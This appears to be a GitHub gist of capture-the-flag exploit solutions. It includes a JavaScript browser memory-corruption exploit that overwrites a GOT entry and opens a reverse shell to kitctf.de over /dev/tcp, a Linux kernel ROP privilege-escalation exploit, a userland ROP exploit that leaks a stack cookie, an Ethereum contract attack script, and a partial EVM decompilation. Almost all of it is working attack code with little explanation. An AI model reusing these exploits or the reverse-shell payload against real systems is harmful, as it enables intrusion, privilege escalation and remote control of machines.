-
-
Save niklasb/4bddc9e8f32c3bd277ed26d66d488834 to your computer and use it in GitHub Desktop.
keep on blazin
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function makeary() { | |
let ary = new Array(14); | |
for (let i = 0; i < 14; ++i) | |
ary[i] = 1337; | |
return ary; | |
} | |
let convert = new ArrayBuffer(8); | |
let float64 = new Float64Array(convert); | |
let uint32 = new Uint32Array(convert); | |
function dtoi(x) { | |
float64[0] = x; | |
return uint32[0] + uint32[1]*0x100000000; | |
} | |
function itod(x) { | |
uint32[0] = x % 0x100000000; | |
uint32[1] = x / 0x100000000; | |
return float64[0]; | |
} | |
function pwn() { | |
for (let i = 0; i < 300; ++i) | |
makeary(); | |
let a = makeary(); | |
let b = new Uint8Array(0x10); | |
a.blaze(); | |
let old_data = a[21]; | |
let set_addr = (where) => { a[21] = itod(where); } | |
let write = (where, what) => { | |
set_addr(where); | |
for (let i = 0; i < 8; ++i) { | |
b[i] = what % 0x100; | |
what /= 0x100; | |
} | |
} | |
let read = (where) => { | |
set_addr(where); | |
let res = 0; | |
for (let i = 7; i >= 0; --i) | |
res = res*0x100 + b[i]; | |
return res; | |
} | |
let leak = (obj) => { | |
a[22] = obj; | |
res = 0; | |
for (let i = 5; i >= 0; --i) | |
res = res*0x100 + b[i]; | |
return res; | |
} | |
let restore = () => { | |
a[21] = old_data; | |
for (let i = 0; i < 0x10; ++i) | |
b[i] = 0; | |
} | |
let addr = dtoi(a[21]); | |
let xul = read(read(leak(Math.max))); | |
xul -= 0x7fdf920; | |
let memmove_got = xul + 0x818b220; | |
let sscanf_got = xul + 0x818c1e0; | |
let system = read(sscanf_got) - 0x6a890 + 0x45390; // ubu | |
var cmd = "bash -c 'sh > /dev/tcp/kitctf.de/4444 <&1'; "; | |
var target = new Uint8Array(100); | |
for (var i = 0; i < cmd.length; i++) | |
target[i] = cmd.charCodeAt(i); | |
target[cmd.length] = 0; | |
memmove_backup = read(memmove_got); | |
write(memmove_got, system); | |
target.copyWithin(0, 1); | |
write(memove_got, memove_backup); | |
restore(); | |
} | |
setTimeout(pwn, 500); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import sys, socket | |
import numpy as np | |
import matplotlib.pyplot as plt | |
from scipy.io import wavfile | |
from scipy.fftpack import fft, ifft | |
A, B = 128, 192 # first / last peek in histogram | |
y = 28.5 # peek height | |
rate = 32768 | |
width = 31.25 / 1000 # byte width in seconds | |
def make_spectrum(bits): | |
spectrum = np.zeros(1024, dtype=np.float32) | |
for i in range(9): | |
spectrum[(B - A) / 8 * i + A] = (bits & 1) * y | |
bits >>= 1 | |
return spectrum | |
def make_samples(bits): | |
x = ifft(make_spectrum(bits), n=int(rate*width)) | |
x = np.array(np.real(x)*2**15., dtype=np.int16) | |
return x | |
def create_request(cmd, filename): | |
data = '\xff%s\xff' % cmd | |
samples = [make_samples((ord(c) << 1) | 1) for c in data] | |
wavfile.write(filename, rate, np.concatenate(samples)) | |
def parse_byte(spectrum): | |
res = 0 | |
for i in range(8, 0, -1): | |
res <<= 1 | |
if spectrum[(B - A) / 8 * i + A] > y / 2: | |
res |= 1 | |
return res | |
def parse_response(filename): | |
_, data = wavfile.read(filename) | |
samples_per_byte = int(rate*width) | |
res = '' | |
for i in range(0, len(data.T), samples_per_byte): | |
part = data.T[i:i + samples_per_byte] | |
normalized = [ele/2**15. for ele in part] | |
try: | |
spectrum = fft(normalized, n=1024) | |
except: | |
break | |
res += chr(parse_byte(spectrum)) | |
return res | |
if __name__ == '__main__': | |
# cmd = 'ls home' | |
# cmd = 'grep blaze -r home/r2dbag' | |
cmd = 'cat home/r2dbag/r2-dflag_is_here.txt' | |
if len(sys.argv) > 1: | |
cmd = sys.argv[1] | |
create_request('EXEC ' + cmd, 'req.wav') | |
s = socket.create_connection(('r2dbag.420blaze.in', 420)) | |
s.sendall(open('req.wav').read()) | |
s.shutdown(socket.SHUT_WR) | |
with open('resp.wav', 'w') as f: | |
while True: | |
chunk = s.recv(2**16) | |
if not chunk: | |
break | |
f.write(chunk) | |
print parse_response('resp.wav') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <cstdlib> | |
#include <cstring> | |
#include <cstdio> | |
#include <cassert> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <sys/mman.h> | |
using namespace std; | |
uint64_t user_cs, user_ss, user_rflags; | |
static void save_state() { | |
asm( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"pushfq\n" | |
"popq %2\n" | |
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); | |
} | |
void shell(void) { | |
system("/bin/sh"); | |
} | |
int main() { | |
int fd = open("/dev/blazeme", O_RDWR); | |
if (fd < 0) { | |
perror("open"); | |
exit(EXIT_FAILURE); | |
} | |
void* temp_stack; | |
temp_stack = mmap((void*)0x50000000, 0x1000000, | |
PROT_READ | PROT_WRITE, | |
MAP_FIXED | MAP_PRIVATE| MAP_ANONYMOUS, 0, 0); | |
assert((uintptr_t)temp_stack == 0x50000000); | |
char* x = (char*)mmap((void*)0x41414000, 0x1000, PROT_READ | PROT_WRITE, | |
MAP_FIXED | MAP_PRIVATE| MAP_ANONYMOUS, -1, 0); | |
assert((uintptr_t)x == 0x41414000); | |
save_state(); | |
uint64_t rop2[] = { | |
0xffffffff811664cc, // pop rdi ;ret | |
0, | |
0xffffffff81063b50, // prepare_kernel_cred | |
0xffffffff81148e10, // pop rdx ; ret | |
0xffffffff81063964, // commit_creds + 2 insn | |
0xffffffff81085026, // mov rdi, rax ; call rdx | |
0xffffffff8103b904, // swapgs ; pop rbp ; ret | |
0xdeadbeef, | |
0xFFFFFFFF81113481, // iretq | |
(uint64_t)&shell, | |
user_cs, | |
user_rflags, | |
(uint64_t)temp_stack + 0x500000, | |
user_ss, | |
}; | |
memcpy(x+0x140, rop2, sizeof(rop2)); | |
char pattern[65] = | |
"AABACADAEAyyyyyyyyxxxxxxxxNAOAPAQARASATAUAVAWAXAYAZAaAbAcAdAeAfA"; | |
uint64_t rop[] = { | |
0xbadbabebadbabeba, // value of rbp | |
0xffffffff8113dd13, // pop rax ; ret | |
0xffffffff41414140, | |
0xffffffff81012ac4, // xchg eax, esp ; ret | |
}; | |
assert(10+sizeof(rop) <= 64); | |
memcpy(pattern+10, rop, sizeof(rop)); | |
for (;;) | |
write(fd, pattern, 64); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# https://github.com/niklasb/ctf-tools | |
from pwnlib.tools import * | |
connect() | |
ru('(y/N) ') | |
sendln('y') | |
sendln('0 0') | |
ru('(y/N) ') | |
sendln('y'+'a'*1000) | |
ru('\n') | |
readn(8) | |
cookie = readn(8) | |
info('Cookie: ' + cookie.encode('hex')) | |
addr = u64(readn(8)) | |
info('leak: %p', addr) | |
addr = u64(readn(8)) | |
info('leak: %p', addr) | |
base = addr - 0xc43 | |
info('base: %p', base) | |
if (base & 0xff000000000000) == 0x0a000000000000: | |
base &= 0xffffffffffff | |
assert base <= 0xffffffffffff | |
buf = base + 0x202800 | |
rop = '' | |
rop += p64(base + 0x1113) # pop rdi | |
rop += p64(base + 0x201f78) # puts @ got | |
rop += p64(base + 0x998) # puts | |
rop += p64(base + 0x1113) # pop rdi | |
rop += p64(buf) | |
rop += p64(base + 0x9e8) # gets | |
rop += p64(base + 0xa70) # pop rbp | |
rop += p64(buf) | |
rop += p64(base + 0xbfc) # leave | |
assert not '\n' in rop | |
sendln('0 0') | |
ru('(y/N) ') | |
sendln('y') | |
for i in range(32): | |
if i > 0: | |
ru('Waldone!\n') | |
x = ru('\n\n').strip().splitlines() | |
height = len(x) | |
width = len(x[0]) | |
print width, height | |
found=False | |
for i in range(height): | |
for j in range(width): | |
if x[i][j] == 'W': | |
found=True | |
break | |
if found: | |
break | |
sendln('%d %d'%(i, j)) | |
ru('name: ') | |
if LOCAL: | |
offset_system = 0x0000000000047dc0 | |
offset_puts = 0x0000000000078460 | |
offset_str_bin_sh = 0x1a3ee0 | |
else: | |
offset_puts = 0x000000000006f690 | |
offset_system = 0x0000000000045390 | |
offset_str_bin_sh = 0x18cd57 | |
sendln('a'*0x48 + cookie + p64(buf) + rop) | |
ru('Congratz') | |
ru('!\n') | |
addr = u64(readn(7)[:6]+'\0\0') | |
libc = addr - offset_puts | |
info('libc @ %p', libc) | |
rop2 = '' | |
rop2 += p64(base + 0x1113) | |
rop2 += p64(libc + offset_str_bin_sh) | |
rop2 += p64(libc + offset_system) | |
assert not '\n' in rop2 | |
sendln('a'*8 + rop2) | |
interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
''' | |
I deployed Pwn.sol at | |
0x5f84321768ceb23fc729ffc36516268fb1abc451 | |
on the block chain: | |
pragma solidity ^0.4.10; | |
contract Pwn { | |
bytes public payload; | |
event Boom(bytes x); | |
function set(bytes s) public { | |
payload = s; | |
} | |
function boom() public { | |
emit Boom(payload); | |
} | |
function fake() pure public returns (uint256) { | |
return 1337; | |
} | |
function get() view public returns (bytes) { | |
return payload; | |
} | |
} | |
I patched it so that the emitted event has the correct topic, and fake has the hash | |
0x759014f0. The latter is needed because the program will try to call the 0x759014f0 | |
function and crash if it doesn't exist: | |
code = code.replace( | |
'f0525cb4f38ada4b00a047310c294a112a153e48e11a55b7f4b2fe1024405383', | |
'8b4a1da1e9d54b88ebafc9ce4677a2ca4196693b1c8500b9d1fc58d96553c5fd') | |
code = code.replace('bea293af','759014f0') | |
Then run | |
$ ./solve.py upgrade | |
$ for i in `seq 1 10`; do ./solve.py boom; done | |
and then: | |
./solve.py search [block number of upgrade contract transaction] | |
It will contain the flag message. | |
''' | |
import sys | |
import requests | |
import json | |
import time | |
from pwnlib.tools import * | |
secret = '420blaze69everysingle1337day' | |
wallet1='0x8d07b446da7d53009af7558d43f24d62407f00c9' | |
contract='0xc991c59a908909400374153bbf4b33653a230dcf' | |
new_contract = '0x5f84321768ceb23fc729ffc36516268fb1abc451' | |
def doit(name, params): | |
data = json.dumps({'jsonrpc':'2.0', 'method': name, | |
'params':params, 'id':420}) | |
r = requests.post('http://localhost:8545/', | |
headers={'Content-Type':'application/json'}, | |
data=data) | |
res = json.loads(r.text) | |
if 'result' not in res: | |
print res | |
exit(1) | |
return res['result'] | |
def sha3(data): | |
data = '0x'+data.encode('hex') | |
return doit('web3_sha3', [data])[2:].decode('hex') | |
def get_tx(tx): | |
while True: | |
time.sleep(0.1) | |
res = doit('eth_getTransactionByHash', [tx]) | |
if res['blockNumber'] is not None: | |
return res | |
def call(data, wait=True, contract=contract): | |
tx = doit('eth_sendTransaction', [{ | |
'from':wallet1, | |
'to':contract, | |
#'gasPrice':"0x430E23400", | |
'gas':"0xf4240", | |
'data':data}]) | |
return tx | |
if sys.argv[1] == 'upgrade': | |
data = '0x6b574199'+sha3(secret).encode('hex') | |
data += '0'*(2+2*0x30-len(data)) | |
data += new_contract[2:] | |
tx1 = call(data) | |
print get_tx(tx1) | |
elif sys.argv[1] == 'boom': | |
payload = '' | |
payload += 'A'*40 | |
payload += p64(0x00401528) # pop rdi ; ret | |
payload += p64(0x402353) # 'flag2' | |
payload += p64(0x401C96) # send_flag | |
payload += p64(0xdeadbee0) | |
assert len(payload) <= 0xff | |
data = '0x0399321e000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000' | |
data += chr(len(payload)).encode('hex') | |
data += payload.encode('hex') | |
tx1 = call(data, contract=new_contract) | |
tx2 = call('0xa169ce09', contract=new_contract) | |
print get_tx(tx1) | |
print get_tx(tx2) | |
elif sys.argv[1] == 'search': | |
if '0x' in sys.argv[2]: | |
block = int(sys.argv[2],16) | |
else: | |
block = int(sys.argv[2]) | |
for block in range(block, 0x10000): | |
if block % 0x100 == 0: | |
print '@ block 0x%x' % block | |
r = requests.post('http://localhost:8545/', | |
headers={'Content-Type':'application/json'}, | |
data='{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x%x", true],"id":1}'%block) | |
resp = json.loads( r.content) | |
x = resp['result'] | |
if x is not None and x['transactions']: | |
for tx in x['transactions']: | |
print block, tx['input'] | |
sys.stdout.flush() | |
else: | |
assert 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is the output of _Ivan_'s EVM decompiler. That thing | |
// is fucking amazing. | |
function constructor() public { // id: 00000 | |
MEM[0x40..+0x20] = 0x60; | |
v0 = STORAGE(0); | |
STORAGE(0) = (v0 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00) | 0; | |
if (msg.value) { | |
revert(); | |
} | |
MEM[0..+0x1df5] = CODE[0x38..+0x1df5]; | |
return MEM[0..+0x1df5]; | |
} | |
- second run on runtime code - | |
functions: | |
5b61291c 00093 function fct_5b61291c() | |
64d98f6e 0009d function isSolved() constant view returns (bool) | |
6c54fcef 000ca function fct_6c54fcef() | |
7430306c 00127 function fct_7430306c() | |
b220f73c 0013c function fct_b220f73c() | |
b4eff690 00199 function checkFlag(bytes input) payable payable | |
d6385778 001eb function fct_d6385778() | |
f605fa57 00248 function fct_f605fa57() | |
runtime code detected | |
functions: 8 | |
blocks: 207 | |
function fct_5b61291c() public { // id: 00093 | |
revert(); | |
} | |
function isSolved() public constant view returns (bool) { // id: 0009d | |
if (msg.value) { | |
revert(); | |
} | |
s1 = fct_0029f(0xb0); | |
return s1; | |
} | |
function fct_0029f(s0) private returns (r0) { // id: 0029f | |
v7 = STORAGE(0); | |
return v7 & 0xff; // to: s0 | |
} | |
function fct_6c54fcef() public { // id: 000ca | |
if (msg.value) { | |
revert(); | |
} | |
v2 = MEM[0x40..+0x20]; | |
MEM[0x40..+0x20] = v2 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20; | |
MEM[v2..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20]; | |
MEM[v2 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]]; | |
fct_002b5(0x125, v2); | |
return; | |
} | |
function fct_01dbd(s0) private { // id: 01dbd | |
return; // to: s0 | |
} | |
function fct_002b5(s0, s1) private { // id: 002b5 | |
if (block.timestamp != 0x5ad92d80) { | |
invalid; | |
} | |
fct_01dbd(0x2d0); | |
v8 = MEM[s1..+0x20]; | |
if (v8 <= 0x12) { | |
invalid; | |
} | |
v9 = MEM[s1 + 0x32..+0x20]; | |
v10 = MEM[s1..+0x20]; | |
s2 = ((v9 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000; | |
s3 = 8; | |
if (v10 <= 0x13) { | |
invalid; | |
} | |
v11 = MEM[s1 + 0x33..+0x20]; | |
v12 = MEM[s1..+0x20]; | |
s2 += (2**s3) * (((v11 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000); | |
s3 = 0x10; | |
if (v12 <= 0x14) { | |
invalid; | |
} | |
v13 = MEM[s1 + 0x34..+0x20]; | |
v14 = MEM[s1..+0x20]; | |
s2 += (2**s3) * (((v13 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000); | |
s3 = 0x18; | |
if (v14 <= 0x15) { | |
invalid; | |
} | |
v15 = MEM[s1 + 0x35..+0x20]; | |
v16 = MEM[s1..+0x20]; | |
s2 += (2**s3) * (((v15 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000); | |
s3 = 0x20; | |
if (v16 <= 0x16) { | |
invalid; | |
} | |
v17 = MEM[s1 + 0x36..+0x20]; | |
v18 = MEM[s1..+0x20]; | |
s2 += (2**s3) * (((v17 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000); | |
s3 = 0x28; | |
if (v18 <= 0x17) { | |
invalid; | |
} | |
v19 = MEM[s1 + 0x37..+0x20]; | |
v20 = MEM[s1..+0x20]; | |
s2 += (2**s3) * (((v19 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000); | |
s3 = 0x30; | |
if (v20 <= 0x18) { | |
invalid; | |
} | |
v21 = MEM[s1 + 0x38..+0x20]; | |
v22 = MEM[s1..+0x20]; | |
s2 += (2**s3) * (((v21 / 0x100000000000000000000000000000000000000000000000000000000000000) | |
* 0x100000000000000000000000000000000000000000000000000000000000000) | |
/ 0x100000000000000000000000000000000000000000000000000000000000000); | |
s3 = 0x38; | |
if (v22 <= 0x19) { | |
invalid; | |
} | |
v23 = MEM[s1 + 0x39..+0x20]; | |
s2 = (s2 + (2**s3) * (v23 / 0x100000000000000000000000000000000000000000000000000000000000000) | |
+ (s2 + (2**s3) * (v23 / 0x100000000000000000000000000000000000000000000000000000000000000)) * msg.gas * msg.value) * tx.gasprice; | |
fct_01dbd(0x71d); | |
if (s2 != 0x2f0c798885c9f2975b114) { | |
invalid; | |
} | |
return; // to: s0 | |
} | |
function fct_7430306c() public { // id: 00127 | |
if (msg.value) { | |
revert(); | |
} | |
selfdestruct(0); | |
} | |
function fct_b220f73c() public { // id: 0013c | |
if (msg.value) { | |
revert(); | |
} | |
v3 = MEM[0x40..+0x20]; | |
MEM[0x40..+0x20] = v3 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20; | |
MEM[v3..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20]; | |
MEM[v3 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]]; | |
fct_0073d(0x197, v3); | |
return; | |
} | |
function fct_0073d(s0, s1) private { // id: 0073d | |
v24 = MEM[s1..+0x20]; | |
s2 = 0x7500000000000000000000000000000000000000000000000000000000000000; | |
if (v24 <= 0xd) { | |
invalid; | |
} | |
v25 = MEM[s1 + 0x2d..+0x20]; | |
if ((((v25 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
fct_01dbd(0x7ed); | |
v26 = MEM[s1..+0x20]; | |
s2 = 0xa8c8af687609bf404c202ac1378e10cd19421e72c0a161edc56b53752326592b; | |
s4 = 2; | |
if (v26 <= 0xe) { | |
invalid; | |
} | |
v27 = MEM[s1 + 0x2e..+0x20]; | |
v28 = MEM[s1..+0x20]; | |
s5 = (v27 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v28 <= 0xf) { | |
invalid; | |
} | |
v29 = MEM[s1 + 0x2f..+0x20]; | |
v30 = MEM[s1..+0x20]; | |
s6 = (v29 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v30 <= 0x10) { | |
invalid; | |
} | |
v31 = MEM[s1 + 0x30..+0x20]; | |
v32 = MEM[s1..+0x20]; | |
s7 = (v31 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v32 <= 0x11) { | |
invalid; | |
} | |
v33 = MEM[s1 + 0x31..+0x20]; | |
v34 = MEM[0x40..+0x20]; | |
MEM[v34..+0x20] = s5 & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0xe | |
MEM[v34 + 1..+0x20] = s6 & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0xf | |
MEM[v34 + 2..+0x20] = s7 & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0x10 | |
MEM[v34 + 3..+0x20] = ((v33 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0x11 | |
v35 = MEM[0x40..+0x20]; | |
v36 = CALL(msg.gas, s4, 0, v35, (v34 + 4) - v35, v35, 0x20); | |
if (!v36) { | |
revert(); | |
} | |
v37 = MEM[0x40..+0x20]; | |
v38 = MEM[v37..+0x20]; | |
if ((v38 + 1) != s2) { | |
invalid; | |
} | |
fct_01dbd(0xae6); | |
v39 = MEM[0x40..+0x20]; | |
MEM[v39..+0x20] = 0x6c54fcef00000000000000000000000000000000000000000000000000000000; | |
MEM[v39 + 4..+0x20] = (v39 + 0x24) - (v39 + 4); | |
v40 = MEM[s1..+0x20]; | |
MEM[v39 + 0x24..+0x20] = v40; | |
v41 = MEM[s1..+0x20]; | |
s13 = 0; | |
while (s13 < v41) { | |
v42 = MEM[s1 + s13 + 0x20..+0x20]; | |
MEM[v39 + s13 + 0x44..+0x20] = v42; | |
s13 += 0x20; | |
} | |
s7 = v41 + v39 + 0x44; | |
s8 = v41 & 0x1f; | |
if (v41 & 0x1f) { | |
v43 = MEM[s7 - s8..+0x20]; | |
MEM[s7 - s8..+0x20] = ~(0x100**(0x20 - s8) - 1) & v43; | |
s7 = (s7 - s8) + 0x20; | |
} | |
v44 = MEM[0x40..+0x20]; | |
s7 -= v44; | |
if (!EXTCODESIZE(address(this))) { | |
revert(); | |
} | |
v45 = CALL(msg.gas, address(this), 0, v44, s7, v44, 0); | |
if (!v45) { | |
revert(); | |
} | |
return; // to: s0 | |
} | |
function checkFlag(bytes input) public payable payable { // id: 00199 | |
v4 = MEM[0x40..+0x20]; | |
MEM[0x40..+0x20] = v4 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20; | |
MEM[v4..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20]; | |
MEM[v4 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]]; | |
fct_00bcc(0x1e9, v4); | |
return; | |
} | |
function fct_00bcc(s0, s1) private { // id: 00bcc | |
v46 = MEM[s1..+0x20]; | |
s2 = 0x6600000000000000000000000000000000000000000000000000000000000000; | |
if (v46 <= 0) { | |
invalid; | |
} | |
v47 = MEM[s1 + 0x20..+0x20]; | |
if ((((v47 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
fct_01dbd(0xc7c); | |
v48 = MEM[s1..+0x20]; | |
s2 = 0x6c00000000000000000000000000000000000000000000000000000000000000; | |
if (v48 <= 1) { | |
invalid; | |
} | |
v49 = MEM[s1 + 0x21..+0x20]; | |
if ((((v49 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
v50 = MEM[s1..+0x20]; | |
s2 = 0x6100000000000000000000000000000000000000000000000000000000000000; | |
if (v50 <= 2) { | |
invalid; | |
} | |
v51 = MEM[s1 + 0x22..+0x20]; | |
if ((((v51 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
fct_01dbd(0xdd4); | |
v52 = MEM[s1..+0x20]; | |
s2 = 0x6700000000000000000000000000000000000000000000000000000000000000; | |
if (v52 <= 3) { | |
invalid; | |
} | |
v53 = MEM[s1 + 0x23..+0x20]; | |
if ((((v53 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
fct_01dbd(0xe84); | |
v54 = MEM[s1..+0x20]; | |
s2 = 0x7b00000000000000000000000000000000000000000000000000000000000000; | |
if (v54 <= 4) { | |
invalid; | |
} | |
v55 = MEM[s1 + 0x24..+0x20]; | |
if ((((v55 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
v56 = MEM[s1..+0x20]; | |
s2 = 0x7d00000000000000000000000000000000000000000000000000000000000000; | |
if (v56 <= 0x1f) { | |
invalid; | |
} | |
v57 = MEM[s1 + 0x3f..+0x20]; | |
if ((((v57 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
selfdestruct(0); | |
} | |
fct_01dbd(0xfdc); | |
v58 = MEM[0x40..+0x20]; | |
MEM[v58..+0x20] = 0xf605fa5700000000000000000000000000000000000000000000000000000000; | |
MEM[v58 + 4..+0x20] = (v58 + 0x24) - (v58 + 4); | |
v59 = MEM[s1..+0x20]; | |
MEM[v58 + 0x24..+0x20] = v59; | |
v60 = MEM[s1..+0x20]; | |
s14 = 0; | |
while (s14 < v60) { | |
v61 = MEM[s1 + s14 + 0x20..+0x20]; | |
MEM[v58 + s14 + 0x44..+0x20] = v61; | |
s14 += 0x20; | |
} | |
s8 = v60 + v58 + 0x44; | |
s9 = v60 & 0x1f; | |
if (v60 & 0x1f) { | |
v62 = MEM[s8 - s9..+0x20]; | |
MEM[s8 - s9..+0x20] = ~(0x100**(0x20 - s9) - 1) & v62; | |
s8 = (s8 - s9) + 0x20; | |
} | |
v63 = MEM[0x40..+0x20]; | |
s10 = msg.value; | |
s8 -= v63; | |
if (!EXTCODESIZE(address(this))) { | |
revert(); | |
} | |
v64 = CALL(msg.gas, address(this), s10, v63, s8, v63, 0); | |
if (!v64) { | |
revert(); | |
} | |
fct_01dbd(0x10c8); | |
v65 = MEM[s1..+0x20]; | |
s2 = 0x7300000000000000000000000000000000000000000000000000000000000000; | |
if (v65 <= 0x1e) { | |
invalid; | |
} | |
v66 = MEM[s1 + 0x3e..+0x20]; | |
if ((((v66 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) { | |
invalid; | |
} | |
fct_01dbd(0x1178); | |
v67 = STORAGE(0); | |
STORAGE(0) = (v67 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00) | 1; | |
return; // to: s0 | |
} | |
function fct_d6385778() public { // id: 001eb | |
if (msg.value) { | |
revert(); | |
} | |
v5 = MEM[0x40..+0x20]; | |
MEM[0x40..+0x20] = v5 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20; | |
MEM[v5..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20]; | |
MEM[v5 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]]; | |
fct_01195(0x246, v5); | |
return; | |
} | |
function fct_01195(s0, s1) private { // id: 01195 | |
if (block.number != 0x1a4) { | |
invalid; | |
} | |
fct_01dbd(0x11b2); | |
v68 = MEM[s1..+0x20]; | |
if (v68 <= 5) { | |
invalid; | |
} | |
v69 = MEM[s1 + 0x25..+0x20]; | |
v70 = MEM[s1..+0x20]; | |
s4 = (v69 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v70 <= 6) { | |
invalid; | |
} | |
v71 = MEM[s1 + 0x26..+0x20]; | |
v72 = MEM[s1..+0x20]; | |
s5 = (v71 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v72 <= 7) { | |
invalid; | |
} | |
v73 = MEM[s1 + 0x27..+0x20]; | |
v74 = MEM[s1..+0x20]; | |
s6 = (v73 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v74 <= 8) { | |
invalid; | |
} | |
v75 = MEM[s1 + 0x28..+0x20]; | |
v76 = MEM[s1..+0x20]; | |
s7 = (v75 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v76 <= 9) { | |
invalid; | |
} | |
v77 = MEM[s1 + 0x29..+0x20]; | |
v78 = MEM[s1..+0x20]; | |
s8 = (v77 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v78 <= 0xa) { | |
invalid; | |
} | |
v79 = MEM[s1 + 0x2a..+0x20]; | |
v80 = MEM[s1..+0x20]; | |
